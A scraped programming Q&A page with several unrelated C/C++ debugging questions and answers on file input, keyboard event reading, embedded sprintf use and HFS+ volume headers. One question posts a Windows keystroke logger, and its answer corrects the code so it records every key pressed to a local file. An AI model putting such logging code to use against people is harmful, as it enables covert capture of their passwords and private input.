How to skip a line from an infile - file-io

I have this code that allows the user to load an input file (option 1), display the contents of the input file (option2) and they have the option to exit (option 3). Is there any way that I can skip the first line of the input file from being couted?
#include <iostream>
#include <fstream>
#include <cstdlib>
#include <string>
using namespace std;
int main ()
{ char selection = ' ';
char fileName[25];
ifstream file;
string line;
cout<< "Choose an action"<<endl;
string myMenu[3]={" 1 - Load An Exam ", " 2 - Display Exam ", " 3 - Quit " };
for (int i=0; i<3; i++)
{ cout<<myMenu[i]<<endl;}
cin>>selection;
switch(selection)
{
case '1':
cout<<"Please enter the file name"<<endl;
cin>>fileName,25;
file.open(fileName);
if (file.fail())
{cout<<"Unable to open file"<<endl;
cout<<"Please enter the file name"<<endl;
cin>>fileName,25;
file.open(fileName); }
break;
case '2':
if (file.good())
{
while (getline(file, line))
{cout<<line<<"\n";}
file.close();
}
else cout<<"Unable to open file";
break;
case '3':
cout<<"Thank you!"<<endl;
break;
}

Just continue inside the while loop. This will re-trigger the getLine function, which will move the pointer forward 1 line.
while (getline(file, line))
{
if ( skipLineCondition ) { continue; }
cout<<line<<"\n";
}
Also, please try to post better formatted code. We are here to help, but you should focus more effort into making it easy for everyone to help you.

Related

Program does not stop

I'm trying to create a guessing game where you can play as many times as you want before exiting. The issue I'm having currently is this program does not stop. If you put the correct answer it will just keep saying "Match" for days on end. Same if you get it incorrect.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
main()
{
char name[10][20]= {"DUMBO","MICKEY MOUSE","GOOFY","DONALD DUCK"};
char charName[20];
int count, nameMatch;
char found;
printf("Enter the name of a Disney cartoon character ");
gets(charName);
strupr (charName);
found = 'n';
for (count=0;count<4;count++)
{ if(!strcmp(charName, name[count]))
{found = 'y';}
}
while (nameMatch == 0)
if(found == 'y')
puts("Match");
else
puts("No Match");
system("pause");
return 0;
}

Unexplained "no such file or directory" in compiled code

The following copied and modified code reads the space bar to activate data capture from attached test equipment. Without the intervening code summarized below, it runs fine. I have avoided "using namespace std" by creating a kbrd namespace and using only the standard commands I need. The code compiles without difficulty, but when I run it with the necessary code to capture keyboard data and initialize the test gear, it runs to "Check point Alpha" and waits. When I hit space bar (or any other key!), it prints:
Check Point Beta
No such file or directory.
Very similar code using the left mouse button to collect data runs as expected. I am constructing a small computer, using a "paper" display for portable use outdoors, and would like to have code that does not need a mouse...
I have run out of things to try to fix this. Your help is requested and will be much appreciated.
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <linux/input.h>
#include <string.h>
#include <stdio.h>
#include <iostream>
#include <fstream>
#include <signal.h>
#include <float.h>
#include <sa_api.h>
#pragma comment(lib,"sa_api.lib")
#undef max
#undef min
namespace kbrd{
const char *dev = "/dev/input/event3";
struct input_event ev;
ssize_t n;
int fd;}
using std::cin;
using std::cout;
using std::__cxx11::string;
using std::endl;
using std::ofstream;
using std::ios;
int main(void)
{
[[Code which
Initiates equipment API, prompts screen & reads keyboard to
gather details to be stored with data from attached test
equipment...]]`
while (N_az <Num_Samples) {
kbrd::fd = open(kbrd::dev, O_RDONLY);
if (kbrd::fd == -1) {
fprintf(stderr, "Cannot open %s: %s.\n", kbrd::dev,
strerror(errno));
return EXIT_FAILURE;
}
//and then read keyboard events from the device:
cout << "Check Point Alpha" << endl;
while (1) {
kbrd::n = read(kbrd::fd, &kbrd::ev, sizeof kbrd::ev);
if (kbrd::n == (ssize_t)-1) {
if (errno == EINTR)
continue;
else
break;
} else
if (kbrd::n != sizeof kbrd::ev) {
errno = EIO;
break;
}
cout << "Check Point Beta" << endl;
if (kbrd::ev.type == EV_KEY && kbrd::ev.value == 0 /*&&
kbrd::ev.value <= 2 */&& kbrd::ev.code == 57){
cout << "Check Point Charlie" << endl;
continue;
[[ Code to read attached test gear & store data, one point at a
time...]]
N_az = N_az + 1;
}
else {
fflush(stdout);
fprintf(stderr, "%s.\n", strerror(errno));
return EXIT_FAILURE;
}
}
}
return EXIT_SUCCESS;
}
When I hit space bar (or any other key!), it prints:
Check Point Beta
No such file or directory.
because your code is
cout << "Check Point Beta" << endl;
if (kbrd::ev.type == EV_KEY && kbrd::ev.value == 0 /*&&
kbrd::ev.value <= 2 */&& kbrd::ev.code == 57){
cout << "Check Point Charlie" << endl;
...
}
else {
fflush(stdout);
fprintf(stderr, "%s.\n", strerror(errno));
return EXIT_FAILURE;
}
that means (kbrd::ev.type == EV_KEY && kbrd::ev.value == 0 /*&& kbrd::ev.value <= 2 */&& kbrd::ev.code == 57) is false, No such file or directory is coming from strerror so you have an error somewhere before and probably not in the read, reset errno to 0 before the read. Warning when there is no error errno is not reset to 0, it is only set in case of an error, so it is your responsibility to reset it to 0.
Just temporarily write the values of kbrd::ev.type / kbrd::ev.value / kbrd::ev.code before the test and run your program to know what are the values when you press the space bar allowing you to modify your code in consequence

File input not working

I have this C++ program that will get key code and store it as a string in a text file. After I run the program the file is supposed to appear alongside my cpp file but I doesn't appear. I think is got to do with the Save function where the file input and output is happening. Does anyone notices any errors(I get none while compiling).
#include <iostream>
#include <Windows.h>
#include <Winuser.h>
#include <fstream>
using namespace std;
int Save (int Key_Stroke, char *file);
int main(){
char i;
while(1){
for(i = 8; i <= 190; i++){
if(GetAsyncKeyState(i) == -32767){
Save(i, "LOG.TXT");
}
}
}
system("PAUSE");
return 0;
}
int Save (int Key_Stroke, char *file){
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE;
OUTPUT_FILE = fopen(file, "a+");
fprintf(OUTPUT_FILE, "%s", &Key_Stroke);
fclose(OUTPUT_FILE);
cout << Key_Stroke << endl;
return 0;
}
When using C fprintf (this isn't typically used in C++, see ofstream) you don't use reference operator & because you are passing value to function, not address. Also formatting string is wrong, you want to write int %d, not array of chars %s (more here)
Your Save function should look like
int Save(int Key_Stroke, const char *file)
{
if((Key_Stroke == 1) || (Key_Stroke == 2) || (Key_Stroke == 5))
return 0;
FILE *OUTPUT_FILE = fopen(file, "a+");
if(OUTPUT_FILE != NULL)
{
fprintf(OUTPUT_FILE, "%d", Key_Stroke);
fclose(OUTPUT_FILE);
}
cout << Key_Stroke << endl;
return 0;
}
Also notice const keyword in second argument of the function. This should be used to avoid writing to constant area of memory - directly written array of chars "LOG.TXT" .
Next thing, you should always check if the file you are trying to write to is correctly opened if(OUTPUT_FILE != NULL) .

Storing int values in an uint8_t array in code composer studio vs 5.4

I have a string in a uint8_t str[] array and I am trying to store the positions of characters within the str in another variable called uint8_t pos[]. The code is written in Code Composer Studio vs 5.4
I tried using sprintf(), type casting as well as changing the type of uint8_t pos[] to int pos[] as well as unsigned int pos[]. None of these work.
The code breaks at the sprintf statement and comes to a halt by reaching an undefined memory location. When I run in assembly after reaching sprintf statement, it gives an error saying that a source code for sprint.c cannot be found in location.
#include <stdint.h>
#include <stdbool.h>
#include <string.h>
#include "tm4c123gh6pm.h"
#include <stdio.h>
void initHw()
{
.
.
}
int main(void)
{
// Initialize hardware
initHw();
char strRx[80];
int count =0;
int count_enter=0;
uint8_t posStr[80];
uint8_t typeStr[80];
int pos=0;
int len;
unsigned int j=0, argCount=0;
while(1)
{
if(count == 0)
{
putsUart0("Enter characters for the string\r\n");
}
if(count <= 80)
{
char c = getcUart0();
if(c=='\b')
if(count>0)
count--;
else
break;
if(c>=' ')
{
strRx[count]=c;
count++;
}
if(count==80 || c==13)//'\r')
{
count_enter++;
if(count_enter==1) //count==80 before carriage return
{
len = count;
strRx[count]='\0';
while(count!=80)
strRx[count++]='\0';
count_enter=0;
putsUart0("\r\nEntered string is:\r\n");
putsUart0(strRx);
putsUart0("\r\n");
}
j=0;
//char a[10];
for(pos=0; pos!=len; pos++)// strRx[pos]!='\0'; pos++)
{
char a[80];
if((strRx[pos]>='A' && strRx[pos]<='Z') || (strRx[pos]>='a' && strRx[pos]<='z'))
{
typeStr[j]='a';
//posStr[j]=pos;
a[j]=pos;
sprintf(a,"%u",pos); //source not found
//a[j]=pos;
//posStr[j]=sprintf("%c",a);
//posStr[j]=(uint8_t)a;//a;
while(strRx[pos]!='\0'&&((strRx[pos]>='A' && strRx[pos]<='Z') || (strRx[pos]>='a' && strRx[pos]<='z')))
{
pos++;
}
pos--;
j++;
}
else if(strRx[pos]>='0' && strRx[pos]<='9')
{
typeStr[j]='n';
a[j]=pos;
sprintf(a,"%u",pos);
//posStr[j]=pos;//a;
while(strRx[pos]!='\0'&&((strRx[pos]>='0' && strRx[pos]<='9')))
{
pos++;
}
pos--;
j++;
}
else
{
while(strRx[pos]!='\0'&&((strRx[pos]<'A' && strRx[pos]>'Z') && (strRx[pos]<'a' && strRx[pos]>'z') && (strRx[pos+1]<'0' && strRx[pos+1]>'9')))
pos++;
}
}
argCount=j;
while(j!=80)
{
typeStr[j++]='\0';
posStr[j++]='\0';
}
count = 0;
}//if(count==80 || c==13)//'\r')
}//if count<=80
}//while(1)
}//main
The "unable to locate sprintf.c" error probably just means that the debugger cannot locate the source file, which means it cannot show the source code in the debugger window. It's possible that you don't have the source code for sprintf.c and all you have is the precompiled library. Or maybe you do have the source code and the debugger is simply looking in the wrong path. If you have the source code then there may be a way to tell the debugger which path to find it.
But that is just a debugger display issue -- It is not what is causing your program to crash. The problem may be in your code but you'd have to share your code for us to identify that. Or the problem may be a couple other issues that can occur with the printf related routines.
1) printf routines can use a relatively large amount of stack space. So check for a stack overflow and increase the stack size if necessary.
2) Some embedded libraries provide multiple implementations of the printf routines such as "small", "no-float", and "full". The limited implementations use less code space but don't support all of the format specifiers. So make sure the implementation of sprintf that you've linked with supports all the format specifiers that you're actually using. Look through the project settings under linker or libraries for an option to select which version of printf is used.

How to print HFS Volume header

Any one please give code snippet for how to print volume header of HFS+ disk.
I’ve written a small program (based on hfs-183.1) that prints some of the information declared in struct HFSPlusVolumeHeader. The program must be run as root — for instance, via sudo(8):
#include <fcntl.h>
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
#include <hfs/hfs_format.h>
#include <libkern/OSByteOrder.h>
int main(void) {
int fd;
struct stat stat_buf;
struct HFSPlusVolumeHeader vheader;
const char *vname = "/dev/rdisk0s2";
if (lstat(vname, &stat_buf) == -1) {
fprintf(stderr, "Couldn't stat %s\n", vname);
perror(NULL);
exit(1);
}
if ((stat_buf.st_mode & S_IFMT) != S_IFCHR) {
fprintf(stderr, "%s is not a raw char device\n", vname);
perror(NULL);
exit(2);
}
fd = open(vname, O_RDONLY);
if (fd == -1) {
fprintf(stderr, "%s couldn't be opened for reading\n", vname);
perror(NULL);
exit(3);
}
// The volume header starts at offset 1024
if (pread(fd, &vheader, sizeof vheader, 1024) != sizeof vheader) {
fprintf(stderr, "couldn't read %s's volume header\n", vname);
perror(NULL);
exit(4);
}
printf("fileCount = %u\n"
"folderCount = %u\n"
"blockSize = %u\n"
"totalBlocks = %u\n"
"freeBlocks = %u\n",
OSSwapBigToHostInt32(vheader.fileCount),
OSSwapBigToHostInt32(vheader.folderCount),
OSSwapBigToHostInt32(vheader.blockSize),
OSSwapBigToHostInt32(vheader.totalBlocks),
OSSwapBigToHostInt32(vheader.freeBlocks));
close(fd);
return 0;
}
The header file <hfs/hfs_format.h> declares struct HFSPlusVolumeHeader. See this file for the complete list of fields inside a HFS+ volume header.
The system call getattrlist() might give you the information you need.